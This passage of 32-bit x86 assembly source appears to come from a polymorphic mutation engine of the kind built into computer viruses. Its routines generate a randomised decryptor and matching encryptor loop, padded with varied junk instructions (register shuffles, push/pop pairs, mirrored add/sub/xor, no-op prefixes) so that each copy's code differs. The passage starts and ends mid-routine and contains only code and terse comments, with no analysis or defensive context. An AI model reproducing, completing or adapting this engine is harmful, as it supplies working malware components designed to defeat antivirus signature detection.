		Mov	EAx,2h
		Call	Random
		Or	Al,Al
		Pop	EAx
		Jz	GenPolyM_O$
		Or	Al,2h
GenPolyM_O$:	StosB
		Mov	Al,pSemReg
		Shl	Al,3h
		Or	Al,pSemReg
		Or	Al,0C0h
		StosB
		Jmp	GenPolyM_OD$
GenPolyM_OC$:	Mov	Al,83h			; (Cmp)
		StosB
		Mov	Al,pSemReg
		Or	Al,38h
		Or	Al,0C0h
		StosB
		Xor	Al,Al
		StosB
GenPolyM_OD$:	Mov	ECx,5h
		Mov	EBx,Offset GenNoFlagCom
		Call	Enumer
		Mov	Ax,840Fh		; Jz LockSem
		StosW
		Mov	EAx,pXchg
		Sub	EAx,4h
		Sub	EAx,EDi
		StosD
		Mov	Al,pBaseReg
		Mov	Ah,pSemReg
		Mov	EBx,Offset GenAnyCom
		Call	Enumer
		Mov	Al,83h			; Cmp SemReg,2h
		StosB
		Mov	Al,pSemReg
		Or	Al,0F8h
		StosB
		Mov	Al,2h
		StosB
		Mov	EBx,Offset GenNoFlagCom
		Call	Enumer
		Mov	Ax,840Fh		; Jz Done
		StosW
		Mov	pMov,EDi
		StosD
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Mov	EBx,Offset GenAnyCom
		Call	Enumer
		Mov	Al,81h			; Add BaseReg,CodeStart
		StosB
		Mov	Al,pBaseReg
		Or	Al,0C0h
		StosB
		Mov	pBaseAdd,EDi
		StosD
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Call	ENumer
		Mov	Al,1h			; Add [BaseReg][Brdr],BaseReg
		StosB
		Mov	Al,pBaseReg
		Shl	Al,3h
		Or	Al,80h
		Or	Al,pBaseReg
		StosB
		Mov	pAdd,EDi
		StosD
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Call	Enumer
		Mov	Byte Ptr pEnableEncr,1h
		Mov	Al,pBaseReg		; Encryptor, Pop BaseReg
		Or	Al,58h
		Call	StoreByte
		Mov	Al,87h			; Encryptor,
		Call	StoreByte		; Xchg BaseReg,[ESp]
		Mov	Al,pBaseReg
		Shl	Al,3h
		Or	Al,4h
		Call	StoreByte
		Mov	Al,24h
		Call	StoreByte
		Mov	Al,68h			; Encryptor, Push EncrSize
		Call	StoreByte
		Mov	EAx,[ESp]
		Sub	EAx,4h
		Call	StoreDWord
		Mov	EDx,1h			; .LoadRegisters
		Mov	Cl,pBaseReg
		Shl	EDx,Cl
		Or	EDx,10h
		Mov	Al,pBaseReg
		Mov	Ah,-1h
GenPolyM_L$:	Push	EAx
		Call	GenMovCom
		Mov	EAx,2h
		Call	Random
		Or	Al,Al
		Pop	EAx
		Jz	GenPolyM_L1$
		Push	EAx
		Call	GenNoRegCom
		Pop	EAx
GenPolyM_L1$:	Cmp	EDx,0FFh
		Jne	GenPolyM_L$
		Mov	ECx,5h
		Mov	EBx,Offset GenNoRegCom
		Call	Enumer
		Mov	Al,1h			; Encryptor, Border SetUp
		Call	StoreByte		; Add [ESp],BaseReg
		Mov	Al,pBaseReg
		Shl	Al,3h
		Or	Al,4h
		Call	StoreByte
		Mov	Al,24h
		Call	StoreByte
		Mov	pAgain,EDi
		Mov	pAgain_E,ESi
		Mov	EAx,40h			; 10h..50h commands
		Call	Random
		Add	EAx,10h
		Mov	ECx,EAx
GenPolyM_G0$:	Mov	EAx,3h			; .Decrypt
		Call	Random
		Or	Al,Al
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Jnz	GenPolyM_G1$
		Call	GenArCom
		Jmp	GenPolyM_G2$
GenPolyM_G1$:	Call	GenArMemCom
GenPolyM_G2$:	Dec	ECx
		Jnz	GenPolyM_G0$
		Mov	EAx,2h			; Add BaseReg,4h
		Call	Random
		Or	Al,Al
		Jz	GenPolyM_I2$
		Mov	Al,pBaseReg		; (Inc)
		Or	Al,40h
		Mov	ECx,4h
GenPolyM_I1$:	StosB
		Call	StoreByte
		Push	EAx
		Call	GenNoRegCom
		Pop	EAx
		Dec	ECx
		Jnz	GenPolyM_I1$
		Jmp	GenPolyM_I3$
GenPolyM_I2$:	Mov	Al,83h			; (Add)
		StosB
		Call	StoreByte
		Mov	Al,pBaseReg
		Or	Al,0C0h
		StosB
		Call	StoreByte
		Mov	Al,4h
		StosB
		Call	StoreByte
GenpolyM_I3$:	Mov	ECx,5h
		Mov	EBx,Offset GenArCom
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Call	Enumer
		Mov	Al,81h			; Cmp BaseReg,Limit
		StosB
		Mov	Al,pBaseReg
		Or	Al,0F8h
		StosB
		Mov	EAx,EDi
		Sub	EAx,pBase
		Mov	EBx,pAdd
		Mov	[EBx],EAx		; 1pass Complete Add command
		Mov	EAx,[ESp]
		Sub	EAx,4h
		StosD
		Mov	Al,3Bh			; Encryptor, Border check
		Call	StoreByte		; Cmp BaseReg,[ESp]
		Mov	Al,pBaseReg
		Shl	Al,3h
		Or	Al,4h
		Call	StoreByte
		Mov	Al,24h
		Call	StoreByte
		Mov	EBx,Offset GenNoFlagCom
		Call	Enumer
		Mov	Ax,820Fh
		StosW
		Call	StoreWord
		Mov	EAx,pAgain		; Complete Jmp Again commands
		Sub	EAx,EDi
		Sub	EAx,4h
		StosD
		Mov	EAx,pAgain_E
		Sub	EAx,ESi
		Sub	EAx,4h
		Call	StoreDWord
		Mov	Al,58h			; Complete encryptor
		Call	StoreByte
		Mov	Al,0C3h
		Call	StoreByte
		Mov	Byte Ptr pEnableEncr,0h
		Mov	EBx,Offset GenAnyCom
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Call	Enumer
		Mov	Al,81h			; Sub BaseReg,CodeSize
		StosB
		Mov	Al,pBaseReg
		Or	Al,0E8h
		StosB
		Mov	pBaseSub,EDi
		StosD
		Mov	Al,pBaseReg
		Mov	Ah,-1h
		Call	Enumer
		Mov	Al,0C7h			; Mov [BaseReg][Sem],2h
		StosB
		Mov	Al,pBaseReg
		Or	Al,80h
		StosB
		Mov	EAx,pSem
		StosD
		Mov	EAx,2h
		StosD
		Mov	EAx,EDi			; Complete Jmp Done command
		Sub	EAx,pMov
		Sub	EAx,4h
		Mov	EBx,pMov
		Mov	[EBx],EAx
		Mov	EBx,Offset GenAnyCom
		Mov	Ax,-1h
		Call	Enumer
		Mov	Al,61h			; PopA
		StosB
		Mov	EBx,Offset GenNoRegCom
		Call	Enumer
		Mov	EAx,EDi			; Complete Base To Body SetUp
		Sub	EAx,pBase
		Mov	EBx,pBaseAdd
		Mov	[EBx],EAx
		Mov	EBx,pAdd		; 2pass Complete Add command
		Sub	[EBx],EAx
		Mov	EBx,[ESp]		; Backward Body to Base SetUp
		Dec	EBx
		And	Bl,0FCh			; Rounded by 4h
		Add	EAx,EBx
		Mov	EBx,pBaseSub
		Mov	[EBx],EAx
		Pop	ECx
		Mov	EDx,EDi			; All done successfully!
		Sub	EDx,[ESp]		; EDx - decryptor size
		Mov	EBx,ESi
		Sub	EBx,[ESp][4]		; EBx - encryptor size
		Add	ESp,8h
		Ret

; ---------------------------------------------------------
GenArMemCom:	Push	EAx			; Some command that
		Mov	EAx,2h			; change memory by
		Call	Random			; base in EAx (Al)
		Or	Al,Al
		Jz	GenArMem_Imm$
		Mov	Al,2h			; Add; Sub (Reg)
		Call	Random
		Or	Al,Al
		Jz	GenArMem_R_1$
		Mov	Al,28h
GenArMem_R_1$:	Or	Al,1h
		StosB
		Xor	Al,28h
		Call	StoreByte
		Pop	EAx
		Push	EBx
		Mov	EBx,EAx
GenArMem_R_2$:	Call	GetNoESpReg
		Cmp	Al,Bl
		Je	GenArMem_R_2$
		Cmp	Al,Bh
		Je	GenArMem_R_2$
		Shl	Al,3h
		Or	Al,Bl
		Pop	EBx
		Mov	Ah,Al
		Call	GenArMem_Comp$
		Ret

GenArMem_Imm$:	Mov	Al,2h			; Add; Sub (Imm)
		Call	Random
		Add	Al,Al
		Or	Al,81h
		StosB
		Call	StoreByte
		Xchg	EAx,[ESp]
		Push	EAx
		Mov	Al,2h
		Call	Random
		Or	Al,Al
		Pop	EAx
		Jz	GenArmem_I_1$
		Or	Al,28h
GenArMem_I_1$:	Mov	Ah,Al
		Xor	Ah,28h
		Call	GenArMem_Comp$
		Pop	EAx
		Cmp	Al,83h
		Jne	GenArMem_I_2$
		Mov	Ax,100h			; Byte operand
		Call	Random
		StosB
		Call	StoreByte
		Ret
GenArMem_I_2$:	Mov	EAx,RandSeed		; DWord operand
		StosD
		Call	StoreDWord
		Ret

GenArMem_Comp$:	Push	EAx			; Compile addressing
		And	Al,7h			; modes (Corrupt EAx)
		Cmp	Al,4h
		Je	GenArMem_C_1$
		Cmp	Al,5h
		Je	GenArMem_C_2$
		Pop	EAx
		StosB
GenArMem_C0$:	Mov	Al,Ah
		Push	EAx
		And	Al,7h
		Cmp	Al,4h
		Je	GenArMem_C_3$
		Cmp	Al,5h
		Je	GenArMem_C_4$
		Pop	EAx
		Call	StoreByte
		Ret

GenArMem_C_1$:	Pop	EAx			; [ESp]
		StosB
		Mov	Al,24h
		StosB
		Jmp	GenArMem_C0$

GenArMem_C_2$:	Pop	EAx			; [EBp]
		Or	Al,40h
		And	Al,0FEh
		StosB
		Mov	Al,25h
		StosB
		Mov	Al,0h
		StosB
		Jmp	GenArMem_C0$

GenArMem_C_3$:	Pop	EAx			; [ESp]
		Call	StoreByte
		Mov	Al,24h
		Call	StoreByte
		Ret

GenArMem_C_4$:	Pop	EAx			; [EBp]
		Or	Al,40h
		And	Al,0FEh
		Call	StoreByte
		Mov	Al,25h
		Call	StoreByte
		Mov	Al,0h
		Call	StoreByte
		Ret


; ---------------------------------------------------------
GenAnyCom:	Push	EAx
		Push	EBx			; Some command that
		Push	EDx			; changes registers
		Mov	EBx,EAx			; but don't change some
GenAnyCom_0_1$:	Call	GetNoESpReg		; registers by # in Ax (Ah,Al)
		Cmp	Al,Bl			; (Corrupt EAx)
		Je	GenAnyCom_0_1$
		Cmp	Al,Bh
		Je	GenAnyCom_0_1$
		Mov	Dl,Al
GenAnyCom_0_2$:	Call	GetNoESpReg
		Cmp	Al,Bl
		Je	GenAnyCom_0_2$
		Cmp	Al,Bh
		Je	GenAnyCom_0_2$
		Mov	Ah,Dl
		Pop	EDx
		Pop	EBx
		Push	EAx
		Mov	EAx,0Ch
		Call	Random
		Or	EAx,EAx
		Jnz	GenAnyCom_1$		; ">0"
		Pop	EAx			; Ar command
		Pop	EAx
		Jmp	GenArCom

GenAnyCom_1$:	Dec	EAx
		Jnz	GenAnyCom_2$		; ">1"
		Pop	EAx			; Mov/Lea command
		Pop	EAx
		Push	EDx
		Call	GenMovCom
		Pop	EDx
		Ret

GenAnyCom_2$:	Dec	EAx
		Jnz	GenAnyCom_3$		; ">2"
		Pop	EAx			; Cbw; Cwde
		Pop	EAx
		Or	Al,Al
		Jz	GenAnyCom
		Or	Ah,Ah
		Jz	GenAnyCom
		Mov	EAx,2h
		Call	Random
		Or	Al,Al
		Jz	GenAnyCom_2_1$
		Mov	Al,66h
		StosB
GenAnyCom_2_1$:	Mov	Al,98h
		StosB
		Ret

GenAnyCom_3$:	Dec	EAx
		Jnz	GenAnyCom_4$		; ">3"
		Pop	EAx			; Cwd; Cdq
		Pop	EAx
		Or	Al,Al
		Jz	GenAnyCom
		Or	Ah,Ah
		Jz	GenAnyCom
		Cmp	Al,2h
		Je	GenAnyCom
		Cmp	Ah,2h
		Je	GenAnyCom
		Mov	EAx,2h
		Call	Random
		Or	Al,Al
		Jz	GenAnyCom_3_1$
		Mov	Al,66h
		StosB
GenAnyCom_3_1$:	Mov	Al,99h
		StosB
		Ret

GenAnyCom_4$:	Dec	EAx
		Jnz	GenAnyCom_5$		; ">4"
		Pop	EAx			; Aas; Aaa; Daa; Das
		Pop	EAx
		Or	Al,Al
		Jz	GenAnyCom
		Or	Ah,Ah
		Jz	GenAnyCom
		Mov	EAx,4h
		Call	Random
		Shl	Al,3h
		Or	Al,27h
		StosB
		Ret

GenAnyCom_5$:	Dec	EAx
		Jnz	GenAnyCom_6$		; ">5"
		Pop	EAx			; Aad; Aam
		Pop	EAx			; operand must be <>0
		Or	Al,Al
		Jz	GenAnyCom
		Or	Ah,Ah
		Jz	GenAnyCom
		Mov	EAx,2h
		Call	Random
		Or	Al,0D4h
		StosB
		Mov	Al,0FFh
		Call	Random
		Inc	Al
		StosB
		Ret

GenAnyCom_6$:	Dec	EAx
		Jnz	GenAnyCom_7$		; ">6"
		Pop	EAx			; Loop $+2
		Pop	EAx
		Cmp	Al,1h
		Je	GenAnyCom
		Cmp	Ah,1h
		Je	GenAnyCom
		Mov	Ax,0E2h
		StosW
		Ret

GenAnyCom_7$:	Dec	EAx
		Jnz	GenAnyCom_8$		; ">7"
		Mov	Al,0D1h			; Rol; Shl;
		StosB				; Ror; Shr; Sar;
		Pop	EAx			; Rcl; Rcr
		Push	EBx
		Mov	EBx,EAx
GenAnyCom_7_0$:	Mov	EAx,8h
		Call	Random
		Cmp	Al,6h
		Je	GenAnyCom_7_0$
		Shl	Al,3h
		Or	Al,Bl
		Or	Al,0C0h
		StosB
		Pop	EBx
		Pop	EAx
		Ret

GenAnyCom_8$:	Dec	EAx
		Jnz	GenAnyCom_9$		; ">8"
		Mov	Al,89h			; Mov Reg1,Reg2
		StosB
		Pop	EAx
		Shl	Al,3h
		Or	Al,Ah
		Or	Al,0C0h
		StosB
		Pop	EAx
		Ret

GenAnyCom_9$:	Dec	EAx
		Jnz	GenAnyCom_10$		; ">9"
		Mov	Al,4h			; Adc; Sbb; Or; And
		Call	Random
		Inc	Al
		Shl	Al,3h
		Or	Al,1h
		Push	EBx
		Mov	EBx,EAx
		Mov	Al,2h
		Call	Random
		Shl	Al,1h
		Or	Al,Bl
		Pop	EBx
		StosB
		Pop	EAx
		Shl	Al,3h
		Or	Al,Ah
		Or	Al,0C0h
		StosB
		Pop	EAx
		Ret

GenAnyCom_10$:	Dec	EAx
		Jnz	GenAnyCom_11$		; ">10"
		Mov	Al,2h			; Adc; Sbb; Or; And [Imm]
		Call	Random
		Or	Al,Al
		Pop	EAx
		PushF
		Push	EAx
		Jz	GenAnyCom_10a$
		Mov	Al,66h
		StosB
GenAnyCom_10a$:	Mov	EAx,2h
		Call	Random
		Shl	Al,1h
		Or	Al,81h
		StosB
		Xchg	EAx,[ESp]
		Push	EBx
		Mov	EBx,EAx
		Mov	EAx,4h
		Call	Random
		Inc	EAx
		Shl	Al,3h
		Or	Al,0C0h
		Or	Al,Bl
		Pop	EBx
		StosB
		Pop	EAx
		Cmp	Al,83h
		Je	GenAnyCom_10b$
		Mov	Ax,Word Ptr RandSeed	; Imm16
		StosW
		PopF
		Jnz	GenAnyCom_10c$
		Mov	Ax,Word Ptr RandSeed+2	; Imm32
		StosW
GenAnyCom_10c$:	Pop	EAx
		Ret

GenAnyCom_10b$:	Mov	EAx,100h		; Imm8
		Call	Random
		StosB
		PopF
		Pop	EAx
		Ret

GenAnyCom_11$:	Pop	EAx
		Or	Al,50h			; Push Reg1 / Pop Reg2
		StosB
		Push	EAx			; Seria of commands
		Mov	EAx,5h
		Call	Random
		Push	ECx
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenAnyCm_11_1$
GenAnyCm_11_1$:	Mov	EAx,[ESp][2*4]
		Call	GenAnyCom
		Dec	ECx
		Jnz	GenAnyCm_11_2$
GenAnyCm_11_2$:	Pop	ECx
		Pop	EAx
		Mov	Al,Ah
		Or	Al,58h
		StosB
		Pop	EAx
		Ret

; ---------------------------------------------------------
GenArCom:	Push	EAx
		Push	EBx			; Some command that pretty
		Push	EDx			; changes registers
		Mov	EBx,EAx			; but don't change some
GenArCom_0_1$:	Call	GetNoESpReg		; registers by # in Ax (Ah,Al)
		Cmp	Al,Bl			; (Corrupt EAx)
		Je	GenArCom_0_1$
		Cmp	Al,Bh
		Je	GenArCom_0_1$
		Mov	Dl,Al
GenArCom_0_2$:	Call	GetNoESpReg
		Cmp	Al,Bl
		Je	GenArCom_0_2$
		Cmp	Al,Bh
		Je	GenArCom_0_2$
		Shl	Al,3h
		Or	Al,Dl
		Or	Al,0C0h
		Pop	EDx
		Pop	EBx
		Push	EAx
		Mov	EAx,7h
		Call	Random
		Or	EAx,EAx
		Jnz	GenArCom_1$		; ">0"
		Pop	EAx			; NoReg command
		Pop	EAx
		Jmp	GenNoRegCom

GenArCom_1$:	Dec	EAx
		Jnz	GenArCom_2$		; ">1"
		Mov	Al,87h			; Xchg Reg1,Reg2
		StosB
		Call	StoreByte
		Pop	EAx
		StosB
		Call	StoreByte
		Pop	EAx
		Ret

GenArCom_2$:	Dec	EAx
		Jnz	GenArCom_3$		; ">2"
		Pop	EAx			; Push Reg1; Push Reg2
		Mov	Ah,Al			; Pop Reg2; Pop Reg1
		And	Al,7h
		Or	Al,50h
		StosB
		Call	StoreByte
		Mov	Al,Ah
		Shr	Al,3h
		And	Al,7h
		Or	Al,50h
		StosB
		Call	StoreByte
		Push	ECx			; Seria of commands
		Push	EAx
		Mov	EAx,5h
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenArCom_2_1$
GenArCom_2_2$:	Mov	EAx,[ESp][2*4]
		Call	GenArCom
		Dec	ECx
		Jnz	GenArCom_2_2$
GenArCom_2_1$:	Pop	EAx
		Pop	ECx
		Mov	Al,Ah
		And	Al,7h
		Or	Al,58h
		StosB
		Call	StoreByte
		Mov	Al,Ah
		Shr	Al,3h
		And	Al,7h
		Or	Al,58h
		StosB
		Call	StoreByte
		Pop	EAx
		Ret

GenArCom_3$:	Dec	EAx
		Jnz	GenArCom_4$		; ">3"
		Mov	EAx,2h			; Xor Reg1,Reg2
		Call	Random
		Or	Al,38h
		Or	Al,1h
		StosB
		Call	StoreByte
		Pop	EAx
		StosB
		Call	StoreByte
		Pop	EAx
		Ret

GenArCom_4$:	Dec	EAx
		Jnz	GenArCom_5$		; ">4"
		Mov	Al,2h			; Add Reg1,Reg2
		Call	Random			; Sub Reg1,Reg2
		Or	Al,Al
		Jz	GenArCom_4_1$
		Mov	Al,28h
GenArCom_4_1$:	Or	Al,1h
		Push	EBx
		Mov	EBx,EAx
		Mov	Al,2h
		Call	Random
		Or	Al,Bl
		StosB
		Call	StoreByte
		Pop	EBx
		Pop	EAx
		StosB
		Call	StoreByte
		Pop	EAx
		Ret

GenArCom_5$:	Dec	EAx
		Jnz	GenArCom_6$		; ">5"
		Mov	Al,2h			; Add; Sub; Xor [Imm]
		Call	Random
		Or	Al,Al
		Pop	EAx
		PushF
		Push	EAx
		Jz	GenArCom_5_1$
		Mov	Al,66h
		StosB
		Call	StoreByte
GenArCom_5_1$:	Mov	EAx,2h
		Call	Random
		Shl	Al,1h
		Or	Al,81h
		StosB
		Call	StoreByte
		Xchg	EAx,[ESp]
		Push	EAx
		Mov	EAx,3h
		Call	Random
		Shl	Al,3h
		Push	ECx
		Mov	Cl,Al
		Mov	EAx,002830h
		Shr	EAx,Cl
		Pop	ECx
		Xchg	EBx,[ESp]
		And	Bl,7h
		Or	Al,Bl
		Or	Al,0C0h
		StosB
		Call	StoreByte
		Pop	EBx
		Pop	EAx
		Cmp	Al,83h
		Je	GenArCom_5_2$
		Mov	Ax,Word Ptr RandSeed
		StosW
		Call	StoreWord		; Imm16
		PopF
		Jnz	GenArCom_5_3$
		Mov	Ax,Word Ptr RandSeed+2	; Imm32
		StosW
		Call	StoreWord
GenArCom_5_3$:	Pop	EAx
		Ret

GenArCom_5_2$:	Mov	EAx,100h		; Imm8
		Call	Random
		StosB
		Call	StoreByte
		PopF
		Pop	EAx
		Ret

GenArCom_6$:	Mov	Al,0D1h			; Rol Reg,1
		StosB				; Ror Reg,1
		Call	StoreByte
		Pop	EAx
		Push	EBx
		Mov	EBx,EAx
		Mov	EAx,2h
		Call	Random
		Shl	Al,3h
		And	Bl,0C7h
		Or	Al,Bl
		StosB
		Call	StoreByte
		Pop	EBx
		Pop	EAx
		Ret

; ---------------------------------------------------------
GenMovCom:	Push	EBx			; Some command that loads
		Mov	EBx,EAx			; registers by values
GenMovCom_1$:	Call	GetNoESpReg		; but don't change some
		Cmp	Al,Bl			; register by # in Ax (Ah,Al)
		Je	GenMovCom_1$		; set bit in mask
		Cmp	Al,Bh			; transferred in EDx
		Je	GenMovCom_1$		; (Corrupt EAx)
		Mov	EBx,EAx
		Push	ECx
		Mov	Cl,Al
		Mov	EAx,1
		Shl	EAx,Cl
		Or	EDx,EAx			; Set bit in mask
		Pop	ECx
		Mov	EAx,2h
		Call	Random
		Or	Al,Al
		Jz	GenMovCom_Lea$
		Mov	Al,Bl			; Mov style
		Or	Al,0B8h
		StosB
		Call	StoreByte
		Mov	EAx,RandSeed
		StosD
		Call	StoreDWord
		Pop	EBx
		Ret

GenMovCom_Lea$:	Mov	Al,8Dh			; Lea style
		StosB
		Call	StoreByte
		Mov	Al,Bl
		Shl	Al,3h
		Or	Al,5h
		StosB
		Call	StoreByte
		Mov	EAx,RandSeed
		StosD
		Call	StoreDWord
		Pop	EBx
		Ret

; ---------------------------------------------------------
GenNoRegCom:	Xor	EAx,EAx			; Some command that don't
		Mov	Al,0Eh			; change registers
		Call	Random			; (Corrupt EAx)
		Or	EAx,EAx
		Jnz	GenNoReg_1$		; ">0"
		Call	GenNoFlagCom		; NoFlag command
		Ret

GenNoReg_1$:	Dec	EAx
		Jnz	GenNoReg_2$		; ">1"
		Mov	Al,2h			; Clc or Stc
		Call	Random
		Or	Al,0F8h
		StosB
		Ret

GenNoReg_2$:	Dec	EAx
		Jnz	GenNoReg_3$		; ">2"
		Mov	Al,2h			; Cld or Std
		Call	Random
		Or	Al,0FCh
		StosB
		Ret

GenNoReg_3$:	Dec	EAx
		Jnz	GenNoReg_4$		; ">3"
		Mov	Al,0F5h			; Cmc
		StosB
		Ret

GenNoReg_4$:	Dec	EAx
		Jnz	GenNoReg_5$		; ">4"
		Mov	Al,4h			; Or Reg,Reg
		Call	Random
		Or	Al,8h
		StosB
		Call	GetEqRegs
		StosB
		Ret

GenNoReg_5$:	Dec	EAx
		Jnz	GenNoReg_6$		; ">5"
		Mov	Al,4h			; And Reg,Reg
		Call	Random
		Or	Al,20h
		StosB
		Call	GetEqRegs
		StosB
		Ret

GenNoReg_6$:	Dec	EAx
		Jnz	GenNoReg_7$		; ">6"
		Mov	Al,4h			; Cmp Reg1,Reg2
		Call	Random
		Or	Al,38h
		StosB
		Call	GetNoEqRegs
		StosB
		Ret

GenNoReg_7$:	Dec	EAx
		Jnz	GenNoReg_8$		; ">7"
		Mov	Al,2h			; Test Reg1,Reg2
		Call	Random
		Or	Al,84h
		StosB
		Call	GetNoEqRegs
		StosB
		Ret

GenNoReg_8$:	Dec	EAx
		Jnz	GenNoReg_9$		; ">8"
		Mov	Al,2h			; Test Reg,0XXXXh
		Call	Random
		Or	Al,0F6h
		StosB
		Push	EAx
		Call	GetReg
		Or	Al,0C0h
		StosB
		Pop	EAx
		Cmp	Al,0F6h
		Jne	GenNoReg_8_1$
		Mov	EAx,100h
		Call	Random
		StosB
		Ret
GenNoReg_8_1$:	Mov	EAx,RandSeed
		StosD
		Ret

GenNoReg_9$:	Dec	EAx
		Jnz	GenNoReg_10$		; ">9"
		Mov	Al,2h			; Cmp Reg,0XXXXh
		Call	Random
		Or	Al,80h
		StosB
		Push	EAx
		Call	GetReg
		Or	Al,0F8h
		StosB
		Pop	EAx
		Cmp	Al,80h
		Jne	GenNoReg_9_1$
		Mov	EAx,100h
		Call	Random
		StosB
		Ret
GenNoReg_9_1$:	Mov	EAx,RandSeed
		StosD
		Ret

GenNoReg_10$:	Dec	EAx
		Jnz	GenNoReg_11$		; ">10"
		Call	GetNoESpReg		; Inc Reg / Dec Reg
		Or	Al,40h
		Push	EBx
		Mov	Bl,Al
		Mov	Al,2h
		Call	Random
		Shl	Al,3h
		Or	Al,Bl
		Pop	EBx
		StosB
		Push	EAx			; Some seria of commands
		Push	ECx
		Mov	EAx,5h			; How many. . .
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoReg_10_1$
GenNoReg_10_2$:	Call	GenNoRegCom
		Dec	ECx
		Jnz	GenNoReg_10_2$
GenNoReg_10_1$:	Pop	ECx
		Pop	EAx
		Xor	Al,8h
		StosB
		Ret

GenNoReg_11$:	Dec	EAx
		Jnz	GenNoReg_12$		; ">11"
		Mov	Al,2h			; Rol Reg,1 / Ror Reg,1
		Call	Random			; Inc Reg,1 / Dec Reg,1
		Push	EAx
		Mov	Al,2h
		Call	Random
		Or	Al,Al
		Pop	EAx
		Mov	Ah,0D0h
		Je	GenNoReg_11_0$
		Mov	Ah,0FEh
GenNoReg_11_0$:	Or	Al,Ah
		Push	EAx
		StosB
		Call	GetNoESpReg
		Or	Al,0C0h
		Push	EBx
		Mov	Bl,Al
		Mov	Al,2h
		Call	Random
		Shl	Al,3h
		Or	Al,Bl
		Pop	EBx
		StosB
		Push	EAx			; Some seria of commands
		Push	ECx
		Mov	EAx,5h			; How many. . .
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoReg_11_1$
GenNoReg_11_2$:	Call	GenNoRegCom
		Dec	ECx
		Jnz	GenNoReg_11_2$
GenNoReg_11_1$:	Pop	ECx
		Pop	EAx
		Xchg	EAx,[ESp]
		StosB
		Pop	EAx
		Xor	Al,8h
		StosB
		Ret

GenNoReg_12$:	Dec	EAx
		Jnz	GenNoReg_13$		; ">12"
		Mov	Al,2h			; Xchg Reg1,Reg2 (Twice)
		Call	Random			; (without ESp)
		Or	Al,86h
		Push	EBx
		Mov	Bl,Al
		Call	GetNoEqRegs0
		Mov	Ah,Bl
		Pop	EBx
		Xchg	Ah,Al
		StosW
		Push	EAx			; Seria ;-) from One command
		Call	GenNoRegCom
		Pop	EAx
		StosW
		Ret

GenNoReg_13$:	Mov	Al,2h			; Add; Sub; Xor [Imm]
		Call	Random			; Sub; Add; Xor [Imm]
		Or	Al,Al
		PushF				; _Prefix
		Jz	GenNoReg_13_1$
		Mov	Al,66h
		StosB
GenNoReg_13_1$:	Mov	Al,4h
		Call	Random
		Or	Al,80h
		StosB
		Push	EAx			; _ComByte
		Mov	Al,3h
		Call	Random
		Shl	Al,3h
		Push	EAx			; _ComNum
		Push	ECx
		Mov	Cl,Al
		Mov	EAx,002830h
		Shr	EAx,Cl
		Mov	ECx,EAx
		Call	GetNoESpReg
		Or	Cl,Al
		Xchg	EAx,[ESp]		; _RegNum
		Xchg	EAx,ECx
		Or	Al,0C0h
		StosB
		Mov	EAx,RandSeed
		Push	EAx			; _MagicDWord
		Mov	EAx,[ESp][3*4]
		Cmp	Al,81h
		Jne	GenNoReg13_2$
		Mov	EAx,[ESp]
		StosW
		Mov	EAx,[ESp][4*4]
		Push	EAx
		PopF
		Jnz	GenNoReg13_3$
		Mov	EAx,[ESp]
		Shr	EAx,16
		StosW
		Jmp	GenNoReg13_3$

GenNoReg13_2$:	Mov	EAx,[ESp]
		StosB

GenNoReg13_3$:	Push	ECx			; Seria of commands. . .
		Mov	EAx,5h
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoReg13_4$
GenNoReg13_5$:	Call	GenNoRegCom
		Dec	ECx
		Jnz	GenNoReg13_5$
GenNoReg13_4$:	Pop	ECx

		Mov	EAx,[ESp][4*4]		; Mirror command
		Push	EAx
		PopF
		Jz	GenNoReg13_6$
		Mov	Al,66h
		StosB
GenNoReg13_6$:	Mov	EAx,[ESp][3*4]
		StosB
		Push	ECx
		Mov	ECx,[ESp][2*4]+4
		Mov	EAx,280030h
		Shr	EAx,Cl
		Mov	ECx,EAx
		Mov	EAx,[ESp][1*4]+4
		Or	Al,Cl
		Or	Al,0C0h
		StosB
		Pop	ECx
		Mov	EAx,[ESp][3*4]
		Cmp	Al,81h
		Jne	GenNoReg13_7$
		Mov	EAx,[ESp]
		StosW
		Mov	EAx,[ESp][4*4]
		Push	EAx
		PopF
		Jnz	GenNoReg13_8$
		Mov	EAx,[ESp]
		Shr	EAx,16
		StosW
GenNoReg13_8$:	Add	ESp,5*4
		Ret

GenNoReg13_7$:	Mov	EAx,[ESp]
		StosB
		Add	ESp,5*4
		Ret

; ---------------------------------------------------------
GenNoFlagCom:	Xor	EAx,EAx			; Some command that don't
		Mov	Al,0Ah			; change anything
		Call	Random			; (Corrupt EAx)
		Or	EAx,EAx
		Jnz	GenNoFlag_1$		; ">0"
		Mov	Al,90h			; Nop command
		StosB
		Ret

GenNoFlag_1$:	Dec	EAx
		Jnz	GenNoFlag_2$		; ">1"
GenNoFlag_1_1$:	Mov	Al,4h			; Segments DS: ES: SS:
		Call	Random			; Without CS: !
		Shl	Al,3h
		Or	Al,26h
		Cmp	Al,2Eh
		Je	GenNoFlag_1_1$
		StosB
		Ret

GenNoFlag_2$:	Dec	EAx
		Jnz	GenNoFlag_3$		; ">2"
		Mov	Ax,0E3h			; JECxZ $+2
		StosW
		Ret

GenNoFlag_3$:	Dec	EAx
		Jnz	GenNoFlag_4$		; ">3"
		Mov	Al,2h			; Xchg Reg,Reg
		Call	Random
		Or	Al,86h
		StosB
		Call	GetEqRegs
		StosB
		Ret

GenNoFlag_4$:	Dec	EAx
		Jnz	GenNoFlag_5$		; ">4"
		Mov	Al,4h			; Mov Reg,Reg
		Call	Random
		Or	Al,88h
		StosB
		Call	GetEqRegs
		StosB
		Ret

GenNoFlag_5$:	Dec	EAx
		Jnz	GenNoFlag_6$		; ">5"
		Call	GetNoESpReg		; Push Reg / Pop Reg
		Or	Al,50h
		StosB
		Push	EAx			; Some seria of commands
		Push	ECx
		Mov	EAx,5h			; How many. . .
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoFlag_5_1$
GenNoFlag_5_2$:	Call	GenNoFlagCom
		Dec	ECx
